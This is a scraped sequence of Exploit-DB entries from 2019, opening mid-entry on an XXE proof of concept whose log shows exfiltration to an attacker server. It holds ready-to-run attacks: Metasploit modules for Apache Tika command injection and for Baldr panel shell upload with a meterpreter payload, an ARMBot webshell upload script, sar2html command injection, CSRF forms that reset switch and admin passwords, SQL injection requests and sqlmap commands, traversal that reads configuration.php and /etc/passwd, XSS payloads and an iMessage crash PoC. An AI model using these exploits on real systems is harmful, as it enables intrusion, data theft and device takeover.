xmlns="http://oracle.com/richClient/comm"><k v="type"><s>action</s></k></m> 4 - Data retrivial: Serving HTTP on 0.0.0.0 port 8000 ... 192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /xxe_poc HTTP/1.1" 200 - 192.168.13.1 - - [11/Feb/2019 04:59:47] code 404, message File not found 192.168.13.1 - - [11/Feb/2019 04:59:47] "GET /log?data=; HTTP/1.1" 200 -;%20for%2016-bit%20app%20support%20[fonts]%20[extensions]%20[mci%20extensions]%20[files] HTTP/1.1" 400 -
-
Sar2HTML 3.2.1 - Remote Command Execution
# Exploit Title: sar2html Remote Code Execution # Date: 01/08/2019 # Exploit Author: Furkan KAYAPINAR # Vendor Homepage:https://github.com/cemtan/sar2html # Software Link: https://sourceforge.net/projects/sar2html/ # Version: 3.2.1 # Tested on: Centos 7 In web application you will see index.php?plot url extension. http://<ipaddr>/index.php?plot=;<command-here> will execute the command you entered. After command injection press "select # host" then your command's output will appear bottom side of the scroll screen.
-
Cisco Catalyst 3850 Series Device Manager - Cross-Site Request Forgery
# Product : Catalyst 3850 Series Device Manager # Version : 3.6.10E # Date: 01.08.2019 # Vendor Homepage: https://www.cisco.com # Exploit Author: Alperen Soydan # Description : The application interface allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. @special thx:Haki Bülent Sever # Tested On : Win10 & KaliLinux Change Switch Password CSRF @Catalyst 3850 Series Device Manager note : You must edit the values written by "place" ___________________________________________________________ <html> <body> <form action="http://IP/%24moreField%20%0A%24a%20%24b1%0A%24c1%0A%24c2%0Awrite%20memory%0A" method="POST"> <input type="hidden" name="SNMP_STATUS" value="SNMP+agent+enabled%0D%0A" /> <input type="hidden" name="send" value="nsback.htm" /> <input type="hidden" name="SNMP_READCOMM_DEFVAL" value="ELVIS" /> <input type="hidden" name="SNMP_CONTACT_DEFVAL" value="Network+Support+Group" /> <input type="hidden" name="SNMP_LOCATION_DEFVAL" value="TEST2" /> <input type="hidden" name="text_ipAddress0" value="place first octet" /> <input type="hidden" name="text_ipAddress1" value="place second octet" /> <input type="hidden" name="text_ipAddress2" value="place third octet" /> <input type="hidden" name="text_ipAddress3" value="place fourth octet" /> <input type="hidden" name="list_subnetMask" value="place subnet mask ip" /> <input type="hidden" name="text_ipDefaultGateway0" value="place gw ip first octet" /> <input type="hidden" name="text_ipDefaultGateway1" value="place gw ip second octet" /> <input type="hidden" name="text_ipDefaultGateway2" value="place gw ip third octet" /> <input type="hidden" name="text_ipDefaultGateway3" value="palce gw ip fourth octet" /> <input type="hidden" name="text_enableSecret" value="KEY" /> <input type="hidden" name="text_confirmEnableSecret" value="KEY" /> <input type="hidden" name="text_sysName" value="SW_TEST" /> <input type="hidden" name="list_date" value="19" /> <input type="hidden" name="list_month" value="Jul" /> <input type="hidden" name="list_year" value="2019" /> <input type="hidden" name="list_hour" value="10" /> <input type="hidden" name="list_minute" value="20" /> <input type="hidden" name="list_period" value="AM" /> <input type="hidden" name="list_timezone" value="C" /> <input type="hidden" name="radio_telnetAccess" value="disable" /> <input type="hidden" name="radio_snmpStatus" value="enable" /> <input type="hidden" name="text_snmpReadComm" value="ELVIS" /> <input type="hidden" name="text_sysContact" value="Network+Support+Group" /> <input type="hidden" name="text_sysLocation" value="TEST2" /> <input type="hidden" name="list_ipv6_interface" value="Vlan500" /> <input type="hidden" name="list_prefix" value="64" /> <input type="hidden" name="moreField" value="more flash:/html/more.txt" /> <input type="hidden" name="a" value="cluster pref file e.cli" /> <input type="hidden" name="z" value="cluster pref file append e.cli" /> <input type="hidden" name="b1" value="!enable secret KEY!ip http authentication enable!end" /> <input type="hidden" name="c1" value="copy e.cli running-config" /> <input type="hidden" name="c2" value="delete /force e.cli" /> <input type="submit" value="submit form" /> </form> </body> </html>
-
macOS iMessage - Heap Overflow when Deserializing
There is a heap overflow in [NSURL initWithCoder:] that can be reached via iMessage and likely other paths. When an NSURL is deserialized, one property its plist can contain is NS.minimalBookmarkData, which is then used as a parameter for [NSURL URLByResolvingBookmarkData:options:relativeToURL:bookmarkDataIsStale:error:]. This method uses a wide variety of code to parse the provided bookmark data. On a Mac, if the data is a pre-2012 alias file, it will be processed using the FSResolveAliasWithMountFlags function in the CarbonCore framework. This function can eventually call ALI_GetUTF8Path, which has an unsafe call to strcat_chk, leading to memory corruption. To reproduce the issue with the files in carboncrash.zip: 1) install frida (pip3 install frida) 2) open sendMessage.py, and replace the sample receiver with the phone number or email of the target device 3) in injectMessage.js replace the marker "PATH" with the path of the obj file 4) in the local directory, run: python3 sendMessage.py This will lead to a crash in soagent requiring no user interaction. Note that this issue affects Macs only, this PoC will crash an iPhone, but it is an unexploitable and unrelated crash due to an exception. CarbonCore contains a large number of calls to unsafe string handling functions. It also performs a number of operations on file paths that might not be desirable in a remote context. I strongly recommend that this issue be resolved by removing CarbonCore from the NSURL deserialization path. Proof of Concept: https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/47207.zip
-
1CRM On-Premise Software 8.5.7 - Persistent Cross-Site Scripting
****************************************************************** * 1CRM On-Premise Software 8.5.7 * * Stored XSS * ****************************************************************** //////////////////////////////////////////////////////////////////////////////////// # Exploit Title: 1CRM On-Premise Software 8.5.7 - Cross-Site Scripting # Date: 19/07/2019 # Exploit Author: Kusol Watchara-Apanukorn # Vendor Homepage: https://1crm.com/ # Version: 8.5.7 <= # Tested on: CentOS 7.6.1810 (Core) # CVE : CVE-2019-14221 //////////////////////////////////////////////////////////////////////////////////// ////////////////////////////////////////////////////////////////////////////////////////////////////////////// 1CRM On-Premise Software 8.5.7 allows XSS via a payload that is mishandled during a Run Report operation. /// ////////////////////////////////////////////////////////////////////////////////////////////////////////////// Vulnerability Description: XSS flaws occur whenever an application includes untrusted data in a new web page without proper validation or escaping, or updates an existing web page with user supplied data using a browser API that can create JavaScript. XSS allows attackers to execute scripts in the victim’s browser which can hijack user sessions, deface web sites, or redirect the user to malicious sites. ######################################################################################################################## Attack Narratives and Scenarios: # # **Attacker** # 1. Login as any user # 2. Click Email icon # 3. Click Report # 4. Click Create Report # 5. Fill Report Name (In our case we fill Company B) # 6. Assign to Victim (In our case we assigned to admin) # 7. Click Column Layout # 8. Click Add empty column # 9. Input malicious code (In our case: <script>alert(document.cookie);</script>) # 10. Click Save # # **Victim** # 1. Click email icon # 2. Click Report # 3. Choose report that we recently created (In our case we choose Company B) # 4. Click Run Report # 5. Admin cookie will popup # ######################################################################################################################## PoC ----------------------------------------- Github: https://github.com/cccaaasser/1CRM-CVE/blob/master/CVE-2019-14221.md Vulnerability Disclosure Timeline: ================================== 19 July, 19 : Found Vulnerability 19 July, 19 : Vendor Notification 24 July 19 : Vendor Response 24 July 19 : Vendor Fixed 31 July, 19 : Vendor released new patched version 8.5.10
-
Rest - Cafe and Restaurant Website CMS - 'slug' SQL Injection
# Exploit Title: Rest - Cafe and Restaurant Website CMS - SQL Injection # Date: 1.8.2019. # Exploit Author: n1x_ [MS-WEB] # Vendor Homepage: https://codecanyon.net/item/rest-cafe-and-restaurant-website-cms/21630154 # CWE : CWE-89 Vulnerable parameter: slug (news.php) [GET Request] GET //host/[path]/news.php?slug=x' HTTP/1.1 Accept: text/html, application/xhtml+xml, application/xml; q=0.9, */*; q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Cache-Control: max-age=0 Cookie: PHPSESSID=87e839a144a7c326454406dea88b92bc Host: host User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362
-
WordPress Plugin JoomSport 3.3 - SQL Injection
# Exploit Title: JoomSport 3.3 – for Sports - SQL injection # Google Dork: intext:powered by JoomSport - sport WordPress plugin # Date:29/07/2019. # Exploit Author: Pablo Santiago # Vendor Homepage: https://beardev.com/ # Software Link: https://wordpress.org/plugins/joomsport-sports-league-results-management/ # Version: 3.3 # Tested on: Windows and Kali linux # CVE :2019-14348 # References: https://hackpuntes.com/cve-2019-14348-joomsport-for-sports-sql-injection/ # 1. Technical Description: #Through the SQL injection vulnerability, a malicious user could inject SQL code in order to steal information from the database, modify data from the database, even delete database or data from them. #2. Request: All requests that contains the parameter sid are vulnerables to SQL injection POST /wordpress/joomsport_season/new-yorkers/?action=playerlist HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: es-ES,es;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Referer: http://localhost/wordpress/joomsport_season/new-yorkers/?action=playerlist Content-Type: application/x-www-form-urlencoded Content-Length: 22 DNT: 1 Connection: close Cookie: PHPSESSID=s010flbg7fbohnguabsvjaut40 Upgrade-Insecure-Requests: 1 sid=1&page=1&jscurtab= # 3. Payload: Parameter: sid (POST) Type: boolean-based blind Title: Or boolean-based blind - WHERE or HAVING clause Payload: sid=-3506 OR 7339=7339&page=1jscurtab= # 4. Reference: # https://hackpuntes.com/cve-2019-14348-joomsport-for-sports-sql-injection/
-
ARMBot Botnet - Arbitrary Code Execution
import requests URL = "http://127.0.0.1/ARMBot/upload.php" r = requests.post(URL, data = { "file":"../public_html/lol/../.s.phtml", # need some trickery for each server ;) "data":"PD9waHAgZWNobyAxOyA/Pg==", # <?php echo 1; ?> "message":"Bobr Dobr" }, proxies={"http":"127.0.0.1:8080","https":"127.0.0.1:8080"}) print(r.status_code) print("shell should be at http://{}/.s.phtml".format(URL))
-
Apache Tika 1.15 - 1.17 - Header Command Injection (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::CmdStager include Msf::Exploit::Remote::HttpClient include Msf::Exploit::Powershell def initialize(info = {}) super(update_info(info, 'Name' => 'Apache Tika Header Command Injection', 'Description' => %q{ This module exploits a command injection vulnerability in Apache Tika 1.15 - 1.17 on Windows. A file with the image/jp2 content-type is used to bypass magic bytes checking. When OCR is specified in the request, parameters can be passed to change the parameters passed at command line to allow for arbitrary JScript to execute. A JScript stub is passed to execute arbitrary code. This module was verified against version 1.15 - 1.17 on Windows 2012. While the CVE and finding show more versions vulnerable, during testing it was determined only > 1.14 was exploitable due to jp2 support being added. }, 'License' => MSF_LICENSE, 'Privileged' => false, 'Platform' => 'win', 'Targets' => [ ['Windows', {'Arch' => [ARCH_X86, ARCH_X64], 'Platform' => 'win', 'CmdStagerFlavor' => ['certutil'] } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => 'Apr 25 2018', 'Author' => [ 'h00die', # msf module 'David Yesland', # edb submission 'Tim Allison' # discovery ], 'References' => [ ['EDB', '46540'], ['URL', 'https://rhinosecuritylabs.com/application-security/exploiting-cve-2018-1335-apache-tika/'], ['URL', 'https://lists.apache.org/thread.html/b3ed4432380af767effd4c6f27665cc7b2686acccbefeb9f55851dca@%3Cdev.tika.apache.org%3E'], ['CVE', '2018-1335'] ])) register_options( [ Opt::RPORT(9998), OptString.new('TARGETURI', [true, 'The base path to the web application', '/']) ]) register_advanced_options( [ OptBool.new('ForceExploit', [true, 'Override check result', false]) ]) end def check res = send_request_cgi({ 'uri' => normalize_uri(target_uri), }) if res.nil? vprint_error('No server response, check configuration') return CheckCode::Safe elsif res.code != 200 vprint_error('No server response, check configuration') return CheckCode::Safe end if res.body =~ /Apache Tika (\d.[\d]+)/ version = Gem::Version.new($1) vprint_status("Apache Tika Version Detected: #{version}") if version.between?(Gem::Version.new('1.15'), Gem::Version.new('1.17')) return CheckCode::Vulnerable end end CheckCode::Safe end def execute_command(cmd, opts = {}) cmd.gsub(/"/, '\"') jscript="var oShell = WScript.CreateObject('WScript.Shell');\n" jscript << "var oExec = oShell.Exec(\"cmd /c #{cmd}\");" print_status("Sending PUT request to #{peer}#{normalize_uri(target_uri, 'meta')}") res = send_request_cgi({ 'method' => 'PUT', 'uri' => normalize_uri(target_uri, 'meta'), 'headers' => { "X-Tika-OCRTesseractPath" => '"cscript"', "X-Tika-OCRLanguage" => "//E:Jscript", "Expect" => "100-continue", "Content-type" => "image/jp2", "Connection" => "close"}, 'data' => jscript }) fail_with(Failure::Disconnected, 'No server response') unless res unless (res.code == 200 && res.body.include?('tika')) fail_with(Failure::UnexpectedReply, 'Invalid response received, target may not be vulnerable') end end def exploit checkcode = check unless checkcode == CheckCode::Vulnerable || datastore['ForceExploit'] print_error("#{checkcode[1]}. Set ForceExploit to override.") return end execute_cmdstager(linemax: 8000) end end
-
Open-School 3.0 / Community Edition 2.3 - Cross-Site Scripting
# Exploit Title: [title] # Date: [2019 08 06] # Exploit Author: [Greg.Priest] # Vendor Homepage: [https://open-school.org/] # Software Link: [] # Version: [Open-School 3.0/Community Edition 2.3] # Tested on: [Windows/Linux ] # CVE : [CVE-2019-14696] Open-School 3.0, and Community Edition 2.3, allows XSS via the /index.php?r=students/guardians/create id parameter. /index.php?r=students/guardians/create&id=1[inject JavaScript Code] Example: /index.php?r=students/guardians/create&id=1<script>alert("PWN3D!")</script><script>alert("PWN3D!")</script>
-
Google Chrome 74.0.3729.0 / 76.0.3789.0 - Heap Use-After-Free in blink::PresentationAvailabilityState::UpdateAvailability
<!-- VULNERABILITY DETAILS void PresentationAvailabilityState::UpdateAvailability( const KURL& url, mojom::blink::ScreenAvailability availability) { [...] { // Set |iterating_listeners_| so we know not to allow modifications // to |availability_listeners_|. base::AutoReset<bool> iterating(&iterating_listeners_, true); for (auto& listener_ref : availability_listeners_) { auto* listener = listener_ref.get(); if (!listener->urls.Contains<KURL>(url)) continue; auto screen_availability = GetScreenAvailability(listener->urls); DCHECK(screen_availability != mojom::blink::ScreenAvailability::UNKNOWN); for (auto* observer : listener->availability_observers) observer->AvailabilityChanged(screen_availability); // ***1*** [...] `PresentationAvailabilityObserver::AvailabilityChanged` might call a user-defined JS event handler, which in turn might modify `availability_observers` and invalidate the `for` loop's iterator. VERSION Chromium 74.0.3729.0 (Developer Build) (64-bit) Chromium 76.0.3789.0 (Developer Build) (64-bit) REPRODUCTION CASE Note that you need an extra display connected to your machine to reproduce the bug, otherwise `UpdateAvailability` won't be called. --> <body> <script> frame = document.body.appendChild(document.createElement("iframe")); request = new frame.contentWindow.PresentationRequest([location]); request.getAvailability().then(availability => { availability.onchange = () => frame.remove(); }); </script> </body> <!-- CREDIT INFORMATION Sergei Glazunov of Google Project Zero. -->
-
Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - Arbitrary File Download
#Exploit Title: Joomla! component com_jssupportticket - Arbitrary File Download #Dork: inurl:"index.php?option=com_jssupportticket" #Date: 08.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: http://joomsky.com/ #Software Link: https://www.joomsky.com/46/download/1.html #Version: 1.1.5 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### Vulnerable code is in line 1411 in file admin/models/ticket.php 1382 function getDownloadAttachmentByName($file_name,$id){ 1383 if(empty($file_name)) return false; 1384 if(!is_numeric($id)) return false; 1385 $db = JFactory::getDbo(); 1386 $filename = str_replace(' ', '_',$file_name); 1387 $query = "SELECT attachmentdir FROM `#__js_ticket_tickets` WHERE id = ".$id; 1388 $db->setQuery($query); 1389 $foldername = $db->loadResult(); 1390 1391 $datadirectory = $this->getJSModel('config')->getConfigurationByName('data_directory'); 1392 $base = JPATH_BASE; 1393 if(JFactory::getApplication()->isAdmin()){ 1394 $base = substr($base, 0, strlen($base) - 14); //remove administrator 1395 } 1396 $path = $base.'/'.$datadirectory; 1397 $path = $path . '/attachmentdata'; 1398 $path = $path . '/ticket/' . $foldername; 1399 $file = $path . '/' . $filename; 1400 1401 header('Content-Description: File Transfer'); 1402 header('Content-Type: application/octet-stream'); 1403 header('Content-Disposition: attachment; filename=' . basename($file)); 1404 header('Content-Transfer-Encoding: binary'); 1405 header('Expires: 0'); 1406 header('Cache-Control: must-revalidate, post-check=0, pre-check=0'); 1407 header('Pragma: public'); 1408 header('Content-Length: ' . filesize($file)); 1409 //ob_clean(); 1410 flush(); 1411 readfile($file); //!!! 1412 exit(); 1413 exit; 1414 } ##################################### #PoC: ##################################### $> curl -X GET -i "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=downloadbyname&id=0&name=../../../configuration.php"
-
Baldr Botnet Panel - Arbitrary Code Execution (Metasploit)
## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'net/http' class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Baldr Botnet Panel Shell Upload Exploit", 'Description' => %q{ This module exploits the file upload vulnerability of baldr malware panel. }, 'License' => MSF_LICENSE, 'Author' => [ 'Ege Balcı <ege.balci@invictuseurope.com>' # author & msf module ], 'References' => [ ['URL', 'https://prodaft.com'] ], 'DefaultOptions' => { 'SSL' => false, 'WfsDelay' => 5, }, 'Platform' => ['php'], 'Arch' => [ ARCH_PHP], 'Targets' => [ ['Auto', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'} } ], ['Baldr <= v2.0', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'} } ], ['Baldr v2.2', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'} } ], ['Baldr v3.0 & v3.1', { 'Platform' => 'PHP', 'Arch' => ARCH_PHP, 'DefaultOptions' => {'PAYLOAD' => 'php/meterpreter/bind_tcp'} } ] ], 'Privileged' => false, 'DisclosureDate' => "Dec 19 2018", 'DefaultTarget' => 0 )) register_options( [ OptString.new('TARGETURI', [true, 'The URI of the baldr gate', '/']), ] ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/gate.php") ) ver = '' if res.code == 200 if res.body.include?('~;~') targets[3] = targets[0] #target = targets[3] ver = '>= v3.0' elsif res.body.include?(';') #target = targets[2] targets[2] = targets[0] ver = 'v2.2' elsif res.body.size < 4 targets[1] = targets[0] #target = targets[1] ver = '<= v2.0' else Exploit::CheckCode::Safe end print_status("Baldr verison: #{ver}") Exploit::CheckCode::Vulnerable else Exploit::CheckCode::Safe end end def exploit name = '.'+Rex::Text.rand_text_alpha(4) files = [ {data: payload.encoded, fname: "#{name}.php"} ] zip = Msf::Util::EXE.to_zip(files) hwid = Rex::Text.rand_text_alpha(8).upcase if targets[0] check end case target when targets[3] res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/gate.php")} ) key = res.body.to_s.split('~;~')[0] print_good("Key: #{key}") data = "hwid=#{hwid}&os=Windows 10 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v3.0" data = xor(data,key) res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/gate.php"), 'data' => data.to_s } ) if res.code == 200 print_good("Bot successfully registered.") else print_error("New bot register failed !") return false end data = xor(zip.to_s,key) form = Rex::MIME::Message.new form.add_part(data.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file\"; filename=\"file.zip\"") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,"/gate.php"), 'ctype' => "multipart/form-data; boundary=#{form.bound}", 'data' => form.to_s ) if res && (res.code == 200 ||res.code == 100) print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else print_error("Server responded with code #{res.code}") if res print_error("Failed to upload payload.") return false end when targets[2] res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/gate.php")} ) key = res.body.to_s.split(';')[0] print_good("Key: #{key}") data = "hwid=#{hwid}&os=Windows 7 x64&cookie=0&paswd=0&credit=0&wallet=0&file=1&autofill=0&version=v2.2***" data << zip.to_s result = "" codepoints = data.each_codepoint.to_a codepoints.each_index do |i| result += (codepoints[i] ^ key[i % key.size].ord).chr end res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,"/gate.php"), 'data' => result.to_s ) if res && (res.code == 200 ||res.code == 100) print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else print_error("Server responded with code #{res.code}") if res print_error("Failed to upload payload.") return false end else res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path,"/gate.php"), 'data' => zip.to_s, 'encode_params' => true, 'vars_get' => { 'hwid' => hwid, 'os' => 'Windows 7 x64', 'cookie' => '0', 'pswd' => '0', 'credit' => '0', 'wallet' => '0', 'file' => '1', 'autofill' => '0', 'version' => 'v2.0' } ) if res && (res.code == 200 ||res.code == 100) print_good("Payload uploaded to /logs/#{hwid}/#{name}.php") else print_error("Server responded with code #{res.code}") if res print_error("Failed to upload payload.") return false end end send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path,"/logs/#{hwid}/#{name}.php")}, 3 ) print_good("Payload successfully triggered !") end def xor(data, key) result = "" codepoints = data.each_codepoint.to_a codepoints.each_index do |i| result += (codepoints[i] ^ key[i % key.size].ord).chr end return result end end
-
Aptana Jaxer 1.0.3.4547 - Local File inclusion
# Exploit Title: Aptana Jaxer Remote Local File inclusion # Date: 8/8/2019 # Exploit Author: Steph Jensen # Vendor Homepage: [http://www.jaxer.org](http://www.jaxer.org/category/uncategorized/) # Version: 1.0.3.4547 # Tested on: Linux # CVE : CVE-2019-14312 Aptana Jaxer 1.0.3.4547 is vulnerable to a local file inclusion vulnerability in the wikilite source code viewer. This vulnerability allows a remote attacker to read internal files on the server via tools/sourceViewer/index.html?filename=../ URI. To exploit this vulnerability an attacker must have access to the Aptana Jaxer web application. The Samples and Tools page will have the wikilite demo. After opening the wikilite demo the source code can be viewed by clicking the html button and selecting "Wikilite source code". This leads to http://server:8081/aptana/tools/sourceViewer/index.html?filename=../../samples/wikilite/index.html. by using directory traversal in the filename parameter a remote attacker can access internal files on the server. PoC: http://server:8081/aptana/tools/sourceViewer/index.html?filename=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd
-
Daily Expense Manager 1.0 - Cross-Site Request Forgery (Delete Income)
# Exploit Title: Daily Expense Manager - CSRF (Delete Income) # Exploit Author: Mr Winst0n # Author E-mail: manamtabeshekan@gmail.com # Discovery Date: August 8, 2019 # Vendor Homepage: https://sourceforge.net/projects/daily-expense-manager/ # Tested Version: 1.0 # Tested on: Parrot OS # PoC: <html> <body> <form action="http://server/homeedit.php?delincome=778" method="post"> <input type="submit" value="Click!" /> </form> </body> </html>
-
Adive Framework 2.0.7 - Cross-Site Request Forgery
# Exploit Title: Adive Framework 2.0.7 – Cross-Site Request Forgery (CSRF) # Date:02/08/2019. # Exploit Author: Pablo Santiago # Vendor Homepage: https://adive.es # Software Link: https://github.com/ferdinandmartin/adive-php7 # Version: 2.0.7 # Tested on: Windows and Kali linux # CVE :2019-14346 # 1. Technical Description: # Adive Framework 2.0.7 and possibly before are affected by Cross-Site #Request Forgery vulnerability, an attacker could change any user password. # 2. Proof Of Concept (CODE): <html> <body> <script>history.pushState('', '', '/')</script> <form action="http://localhost/adive/admin/config" method="POST"> <input type="hidden" name="userName" value="admin" /> <input type="hidden" name="confPermissions" value="1" /> <input type="hidden" name="pass" value="1234" /> <input type="hidden" name="cpass" value="1234" /> <input type="hidden" name="invokeType" value="web" /> <input type="submit" value="Submit request" /> </form> </body> </html> # 3. References: # https://hackpuntes.com/cve-2019-14346-adive-framework-2-0-7-cross-site-request-forgery/ # https://imgur.com/apuZa9q
-
Joomla! Component JS Support Ticket (component com_jssupportticket) 1.1.5 - SQL Injection
#Exploit Title: Joomla! component com_jssupportticket - SQL Injection #Dork: inurl:"index.php?option=com_jssupportticket" #Date: 08.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/46/download/1.html #Version: 1.1.5 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### Vulnerable code is in line 441 in file admin/models/userfields.php 439 function dataForDepandantField( $val , $childfield){ 440 $db = $this->getDBO(); 441 $query = "SELECT userfieldparams,fieldtitle,field,depandant_field FROM `#__js_ticket_fieldsordering` WHERE field = '".$childfield."'"; //!!! 442 $db->setQuery($query); 443 $data = $db->loadObject(); 444 $decoded_data = json_decode($data->userfieldparams); 445 $comboOptions = array(); 446 $flag = 0; 447 foreach ($decoded_data as $key => $value) { 448 if($key == $val){ 449 for ($i=0; $i < count($value) ; $i++) { 450 if($flag == 0){ 451 $comboOptions[] = array('value' => '', 'text' => JText::_('Select').' '.$data->fieldtitle); 452 } 453 $comboOptions[] = array('value' => $value[$i], 'text' => $value[$i]); 454 $flag = 1; 455 } 456 } 457 } 458 $jsFunction = ''; 459 if ($data->depandant_field != null) { 460 $jsFunction = "onchange=getDataForDepandantField('" . $data->field . "','" . $data->depandant_field . "',1);"; 461 } 462 $html = JHTML::_('select.genericList', $comboOptions , $childfield,'class="inputbox one"'.$jsFunction, 'value' , 'text' ,''); 463 return $html; 464 } ##################################### #PoC: ##################################### $> sqlmap.py -u "http://localhost/index.php?option=com_jssupportticket&c=ticket&task=datafordepandantfield&fvalue=0&child=0" --random-agent -p child --dbms=mysql
-
Joomla! Component JS Support Ticket (com_jssupportticket) 1.1.6 - 'ticketreply.php' SQL Injection
#Exploit Title: Joomla! component com_jssupportticket - Authenticated SQL Injection #Dork: inurl:"index.php?option=com_jssupportticket" #Date: 10.08.19 #Exploit Author: qw3rTyTy #Vendor Homepage: https://www.joomsky.com/ #Software Link: https://www.joomsky.com/46/download/1.html #Version: 1.1.6 #Tested on: Debian/nginx/joomla 3.9.0 ##################################### #Vulnerability details: ##################################### Vulnerable code is in line 31 in file admin/models/ticketreply.php ...snip... 24 function storeTicketReplies($ticketid, $message, $created, $data2) { 25 if (!is_numeric($ticketid)) 26 return false; 27 28 //validate reply for break down 29 $ticketrandomid = $data2['ticketrandomid']; //!!! 30 $db = $this->getDBo(); 31 $query = "SELECT id FROM `#__js_ticket_tickets` WHERE ticketid='$ticketrandomid'"; //!!! 32 $db->setQuery($query); 33 $res = $db->loadResult(); 34 if($res != $ticketid){ 35 return false; 36 }//end ...snip... ##################################### #PoC: ##################################### $> sqlmap.py -u "http://localhost/index.php" --random-agent --dbms=mysql --method POST --data 'option=com_jssupportticket&c=ticket&task=actionticket&Itemid=666&ticketid=666&callfrom=savemessage&message=woot&created=woot&ticketrandomid=woot&{VALID_FORMTOKEN_FROM_TICKETDETAIL}=1' -p ticketrandomid --cookie 'VALID_SESSION_ID=VALID_SESSION_ID'
-
UNA 10.0.0 RC1 - 'polyglot.php' Persistent Cross-Site Scripting
# Exploit Title: [UNA - 10.0.0-RC1 stored XSS vuln.] # Date: [2019 08 10] # Exploit Author: [Greg.Priest] # Vendor Homepage: [https://una.io/] # Software Link: [https://github.com/unaio/una/tree/master/studio] # Version: [UNA - 10.0.0-RC1] # Tested on: [Windows/Linux ] # CVE : [CVE-2019-14804] UNA-v.10.0.0-RC1 [Stored XSS Vulnerability]#1 Sign in to admin and look for the ["etemplates"] page (/studio/polyglot.php?page=etemplates)! Click ["Emails"] and edit the templates! Inject the JavaScript code into the ["System Name"] field! http://127.0.0.1/UNA/studio/polyglot.php?page=etemplates https://github.com/Gr3gPr1est/BugReport/blob/master/CVE-2019-14804.pdf